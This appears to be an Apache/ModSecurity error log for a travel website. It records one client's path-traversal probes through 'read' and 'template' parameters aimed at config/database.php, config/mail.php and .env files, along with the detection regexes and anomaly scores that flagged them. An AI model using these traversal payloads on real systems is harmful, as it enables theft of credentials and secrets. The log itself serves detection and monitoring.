[Fri Jul 17 08:55:06.494121 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:read. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:read: ../../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkivekYYQ8uns4MwlHwAAAA0"]
[Fri Jul 17 08:55:06.494155 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:read. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:read: ../../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkivekYYQ8uns4MwlHwAAAA0"]
[Fri Jul 17 08:55:06.494230 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/database.php" at ARGS:read. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/database.php found within ARGS:read: ../../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkivekYYQ8uns4MwlHwAAAA0"]
[Fri Jul 17 08:55:06.498707 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:read. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:read: ../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkqquHSHoCJK_V0SBPQAAABs"]
[Fri Jul 17 08:55:06.498766 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:read. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:read: ../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkqquHSHoCJK_V0SBPQAAABs"]
[Fri Jul 17 08:55:06.498844 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/database.php" at ARGS:read. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/database.php found within ARGS:read: ../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkqquHSHoCJK_V0SBPQAAABs"]
[Fri Jul 17 08:55:06.500066 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkqquHSHoCJK_V0SBPQAAABs"]
[Fri Jul 17 08:55:06.500188 2026] [hostinglimits:warn] [pid 2018767:tid 2018767] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018767) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:06.500486 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 15, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkqquHSHoCJK_V0SBPQAAABs"]
[Fri Jul 17 08:55:06.501958 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:read. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:read: ../config/mail.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkol9vhFBGA6D8l95lgAAAAw"]
[Fri Jul 17 08:55:06.501999 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:read. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:read: ../config/mail.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkol9vhFBGA6D8l95lgAAAAw"]
[Fri Jul 17 08:55:06.504582 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkol9vhFBGA6D8l95lgAAAAw"]
[Fri Jul 17 08:55:06.504761 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:06.512240 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkivekYYQ8uns4MwlHwAAAA0"]
[Fri Jul 17 08:55:06.512417 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:06.512783 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=35,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkivekYYQ8uns4MwlHwAAAA0"]
[Fri Jul 17 08:55:06.517194 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkol9vhFBGA6D8l95lgAAAAw"]
[Fri Jul 17 08:55:06.539018 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?read=..%2F..%2Fconfig%2Fmail.php&sid=GpAaptJJY53WWm7pzYA1zZBzqTJas10X9Z_dBJMYf__B1In4kbfNiJVjxfTDlKdJbiiiovj9pnzfeY0wWhjrAabF7PGEtngHiSuxQu2323fIQMmoAJ7fDgt0PTluLWVWJcnxzaDUzNd9kqLOaAA2OsASMwwNHiFH-bz9xzG17JH1SZpFB87omUZJlUKS3V14CVKCBrahyEJELcDxyXHlPgH-AFEfgpKlD4AnVTfWh8lWpd6bMgpi9kd46mDHCazBIvU8uy38rh-sNo50ZDdDDVy9&anything=NTA5EISSXXLVGNAJCXHQK6T64FLIUW4NCQZKTNMH2FREKB3UF5HDX2ILGVPYARAWJRTF47IOAP2QX3I6MRPY6WYMNLZGSRJO747RH7TRIWUMP3LML5ABRUO7T22QRSQ..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhAi3pC6yjXGNq2ASwAAAAU"]
[Fri Jul 17 08:55:06.539083 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:read. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:read: ../../config/mail.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhAi3pC6yjXGNq2ASwAAAAU"]
[Fri Jul 17 08:55:06.539142 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?read=../../config/mail.php&sid=GpAaptJJY53WWm7pzYA1zZBzqTJas10X9Z_dBJMYf__B1In4kbfNiJVjxfTDlKdJbiiiovj9pnzfeY0wWhjrAabF7PGEtngHiSuxQu2323fIQMmoAJ7fDgt0PTluLWVWJcnxzaDUzNd9kqLOaAA2OsASMwwNHiFH-bz9xzG17JH1SZpFB87omUZJlUKS3V14CVKCBrahyEJELcDxyXHlPgH-AFEfgpKlD4AnVTfWh8lWpd6bMgpi9kd46mDHCazBIvU8uy38rh-sNo50ZDdDDVy9&anything=NTA5EISSXXLVGNAJCXHQK6T64FLIUW4NCQZKTNMH2FREKB3UF5HDX2ILGVPYARAWJRTF47IOAP2QX3I6MRPY6WYMNLZGSRJO747RH7TRIWUMP3LML5ABRUO7T22QRSQJNSUJZVVUTZM2X..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhAi3pC6yjXGNq2ASwAAAAU"]
[Fri Jul 17 08:55:06.539170 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?read=../../config/mail.php&sid=gpaaptjjy53wwm7pzya1zzbzqtjas10x9z_dbjmyf__b1in4kbfnijvjxftdlkdjbiiiovj9pnzfey0wwhjraabf7pgetnghisuxqu2323fiqmmoaj7fdgt0ptlulwvwjcnxzaduznd9kqloaaa2osasmwwnhifh-bz9xzg17jh1szpfb87omuzjluks3v14cvkcbrahyejelcdxyxhlpgh-afefgpkld4anvtfwh8lwpd6bmgpi9kd46mdhcazbivu8uy38rh-sno50zddddvy9&anything=nta5eissxxlvgnajcxhqk6t64fliuw4ncqzktnmh2frekb3uf5hdx2ilgvpyarawjrtf47ioap2qx3i6mrpy6wymnlzgsrjo747rh7triwump3lml5abruo7t22qrsqjnsujzvvutzm2x..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhAi3pC6yjXGNq2ASwAAAAU"]
[Fri Jul 17 08:55:06.539190 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:read. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:read: ../../config/mail.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhAi3pC6yjXGNq2ASwAAAAU"]
[Fri Jul 17 08:55:06.539208 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:read. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:read: ../../config/mail.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhAi3pC6yjXGNq2ASwAAAAU"]
[Fri Jul 17 08:55:06.544440 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhAi3pC6yjXGNq2ASwAAAAU"]
[Fri Jul 17 08:55:06.544599 2026] [hostinglimits:warn] [pid 1993668:tid 1993668] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993668) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:06.544916 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkhAi3pC6yjXGNq2ASwAAAAU"]
[Fri Jul 17 08:55:06.548684 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?template=..%2F..%2F..%2F.env&junk=VbVgZVhSOpl4UPCA7eNvjLD4DmoO0Q_SRhvRNBGZrfE1j9oesTJGsbPFKZVaAvnz0Bcpdj054xq8p6eMg9Y1fym615MVUq6KLRIpK439PEv7Ax4q6jTJKQIdESLDxJasADb5m4INQ8HAk1wmU93LEHxttSjUwtTuvZjdU3OrYo5jZpQ3-2Hf_KAW0LmRmompnzzKIwmq4hwllCcuXQe7eUUm127tnxi2zy3lcaioEXBBLsK5nAHvZsx-b3I9IEYJ9YvbC0EvjcXzFSkp_ov31EPv&token=4OIKLG4242CU6PIP3F3YYBY4R43Q2H4QARMETDGNKOQ5O6DM5AHX77WD4A2APFEW5NMY6UO4NRHP5BABUWO3IYUWZMDE7EUNQBPDL6AD33RCBN46ICL7SZ4SATBYVPH4EBZFL..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkol9vhFBGA6D8l95lwAAAAw"]
[Fri Jul 17 08:55:06.548734 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:template. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:template: ../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkol9vhFBGA6D8l95lwAAAAw"]
[Fri Jul 17 08:55:06.548759 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?template=..%2F..%2F.env&ref=IM-AKZCJQ4o1rNiKm44G-_b8XVwxxkv-P2f1TXE4rAriCekeMvIJRE8rJlK4oT8JeXgWlPvzKUlVrmECvnVUvPoTGQIJQGIyt4c9ZT1sty2v4dfPdFby9jrUC5E7Ebc7pgf3ceTBsN59b9oa6bGtk2TqgFIu218A1NCRIQDI_uqCUPO7_6ItCtkkiYvG3Wn3g0Y9iBQ_L9j0sg_oFD1z6FbADiHM6ZVLHZBU5Q_DOQvaAoUVktksZfmSIkNxUYLxgK_uaClZGFqjq2-qAMk_GKj8&token=CRGPEI5KEO6MKB54VPEECFLGVPY5ID3S2CVED445TIR5U2ZLKDRTGBZDS6EL67PWZXVWPWG4RU566CBOEKEYAS67VGABBTE35CHFVCMIJXY7JVVTH6WMR7D5RKSJN7FIILGAAIHV4Q4..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkqquHSHoCJK_V0SBPgAAABs"]
[Fri Jul 17 08:55:06.548793 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?template=../../../.env&junk=VbVgZVhSOpl4UPCA7eNvjLD4DmoO0Q_SRhvRNBGZrfE1j9oesTJGsbPFKZVaAvnz0Bcpdj054xq8p6eMg9Y1fym615MVUq6KLRIpK439PEv7Ax4q6jTJKQIdESLDxJasADb5m4INQ8HAk1wmU93LEHxttSjUwtTuvZjdU3OrYo5jZpQ3-2Hf_KAW0LmRmompnzzKIwmq4hwllCcuXQe7eUUm127tnxi2zy3lcaioEXBBLsK5nAHvZsx-b3I9IEYJ9YvbC0EvjcXzFSkp_ov31EPv&token=4OIKLG4242CU6PIP3F3YYBY4R43Q2H4QARMETDGNKOQ5O6DM5AHX77WD4A2APFEW5NMY6UO4NRHP5BABUWO3IYUWZMDE7EUNQBPDL6AD33RCBN46ICL7SZ4SATBYVPH4EBZFLTNESGXXV7W3UFJ..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkol9vhFBGA6D8l95lwAAAAw"]
[Fri Jul 17 08:55:06.548798 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:template. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:template: ../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] 